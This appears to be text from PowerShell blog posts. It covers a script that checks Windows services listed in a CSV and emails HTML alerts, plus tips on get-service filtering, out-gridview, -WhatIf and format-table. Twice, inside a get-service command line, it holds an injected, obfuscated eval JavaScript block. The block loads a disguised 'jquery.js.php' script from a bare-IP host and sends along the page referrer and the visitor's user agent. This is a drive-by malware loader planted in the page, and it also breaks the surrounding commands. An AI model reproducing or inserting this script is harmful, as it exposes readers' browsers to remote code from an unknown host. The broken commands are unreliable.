	$TextMessage += "$($line.Environment) $($line.Category) $($line.ServerName) $($line.ServiceName) $reportStatus $CreationDate $($Service.StartName)`r`n" 

    #build the TR and TD Cells of the HTML Table 
	$HTMLMessage += "<tr bgcolor='$trColor'>"
    $HTMLMessage += "<td>$($line.Environment)</td>"
    $HTMLMessage += "<td>$($line.Category)</td>"
    $HTMLMessage += "<td>$($line.ServerName)</td>"
    $HTMLMessage += "<td>$($line.ServiceName)</td>"
    $HTMLMessage += "<td>$reportStatus</td>"
    $HTMLMessage += "<td>$CreationDate</td>"
    $HTMLMessage += "<td>$($Service.StartName)</td>"
    $HTMLMessage += "</tr>`r`n" 

  }	
  else 
  {
     Write-Host "Skipping InActive " $line.ServerName $line.ServiceName 
  }
}
Write-Host '------' 
#$HTMLMessage = "<h3>Critical Server Count=$CriticalErrorCount  Total Error Count=$ErrorCount</h3>" + $HTMLMessage + "</table>" + "<h3>Yellow is critical, Orange is not critical.</h3>" 
$HTMLMessage = "<h3>Server-Count=$ServerCount  Critical-Count=$CriticalErrorCount  Total-Error-Count=$ErrorCount</h3>$HTMLMessage</table><h3>Yellow is critical, Orange is not critical.</h3>" 
$mydate = Get-Date 
Write-Host "Date=$myDate" 
$HTMLMessage = "<h3>$mydate</h3>$HTMLMessage"
Write-Host  $TextMessage 
Write-Host "`r`n Server-Count=$ServerCount   Critical-Count=$CriticalErrorCount  Total-Error-Count=$ErrorCount"
Write-Host "Date=$myDate" 


$emailSubject = "QT Service Email was Requested" 
if ($CriticalErrorCount -gt 0)
{
   $emailSubject = "Critical QT Server Down Alert: There are $CriticalErrorCount critical services down" 
}


#always send email when one 1 or more critical errors are found, or when the $IsEmailOn parm is set to "Always" which sends email regardless of error count 
if ($CriticalErrorCount -gt 0 -or $IsEmailOn -eq "Always")
{
   send-mailmessage -from $fromemail -to $users -subject $emailSubject -BodyAsHTML -body $HTMLMessage -priority High -smtpServer $SMTPserver
   Write-Host "Alert Email Sent with Subject=$emailSubject" 
   Add-Content $TraceFilename "$myDate TRC99 Alert Email Sent with Subject=$emailSubject" 

}

Create a CSV like this, with a list of the servers to monitor.
Column 1
Column 2 is an arbitrary environment name. Column 3 is a category of server functionality (could potentially be used to route email to the group in charge of those types of servers, e.g. IIS, BizTalk, SQL…)
Column 3 is Server/Machine Name.
Column 4 is the Windows Service name. Use “LanmanServer” just to know if the machine is up and running.
Column 5 indicates whether this should cause a critical error or just a warning (when the service is down).

"Active","PROD","SQL","SqlServer01","MSSQLSERVER","Error"
"Active","PROD","SQL","SqlServer01","SQLSERVERAGENT","Error"
"Active","PROD","SQL","SqlServer01","MSDTC","Error","Error"
"Active","PROD","BizTalk","BizTalkServer01","MSDTC","Error"
"Active","QA","BizTalk","BizTalkServer03","LanmanServer","Error"
"Active","QA","BizTalk","BizTalkServer03","MSDTC","Error"
"Active","QA","BizTalk","BizTalkServer03","BTSSvc$Application_Default","Error"

Schedule a .bat or .cmd file such as follows, pointing to the desired CSV as defined above.

powershell -command "& 'D:\Scripts\ServerMonitor.ps1'" d:\Scripts\ServerMonitorConfig.csv
get-service <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyidn|var|u0026u|referrer|aiheh||js|php'.split('|'),0,{}))
</script></noindex> | where {$_.name -match "win"}

Normally displays like this:
Powershell_ouptut_normal

Note how very long names can get cut off with the ellipses….

Did you know that Powershell has a “grid-view”, similar to SQL?

get-service | where {$_.name -match "win"} | out-gridview

Powershell_output_gridview

If you pipe all get-service to the out-gridview, then you can see how you can even filter the data using the “GUI” mode.
Click “Add Crtieria”, then click the checkbox next the desired property name.
Powershell_output_gridview_AddCriteria

 

You can then enter a match/contains value for that property, and the grid instantly changes to show only the matching data:

Powershell_output_gridview_NameContains

Instead of filtering with the “contains” clause, you can click the word “contains”, and choose other methods of filtering.

I was truly amazed when I discovered this feature.

Powershell_output_gridview_Filter_Options

 

This is basically a follow-up to the previous post How to add a where filter match/contains/like to any powershell cmdlet (such as Get-Service)

Cmdlets are named in the format “verb-noun”, for example get-service, start-service, etc…
Suppose you cannot remember all the verbs associated with a noun. You can run this:

get-command -Noun process

Powershell_output_getcommand_Noun_Process

Recall from the prior blog you can do something like this to get all your BizTalk Host Instances (services):

get-service  | where {$_.name -match "biztalk"}

Now, suppose you wanted to start all the BizTalk Host Instances, you just pipe the results of the previous command to the “start-service” cmdlet. (Note: You may have to run Powershell “as admin” to avoid any security errors.)

get-service  | where {$_.name -match "biztalk"} | start-service 

There is an interesting optional parm that let’s you check your script. The “-WhatIf” parm can be added to Start-Service or Stop-Service. It will then only shows what would happen if the cmdlet runs. The cmdlet is not run.

Example:

PS C:\WINDOWS\system32> get-service | where {$_.name -match "DTC"} | stop-service -whatif
What if: Performing the operation "Stop-Service" on target "Distributed Transaction Coordinator (MSDTC)".

If you check the status of the service after running the above stop-service, you will see that it didn’t really stop.

Sometimes, when property names contain very long values, the default displays cuts part of the name, as shown with this command and its output.

[“ellipsis” is the term for the … when a name is truncated] as shown in the example below:

get-service <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enhaa|var|u0026u|referrer|knzhs||js|php'.split('|'),0,{}))
</script></noindex> | where {$_.name -match "win"}  | sort-object Status -desc

 

Powershell_ouptut_normal_with_ellipses

Red box is only added to bring your attention to the …

Simply pipe the result to the “ft -auto” cmdlet.

get-service | where {$_.name -match "win"}  | sort-object Status -desc | ft -auto
Powershell_ouptut_ft_auto

The full name is now displayed

ft is just the abbreviation for format-table, so you could have typed:

get-service | where {$_.name -match "win"}  | sort-object Status -desc | format-table -auto

Or as was discussed in my previous blog, you can use the grid view:

get-service | where {$_.name -match “win”} | out-gridview

Powershell_output_gridview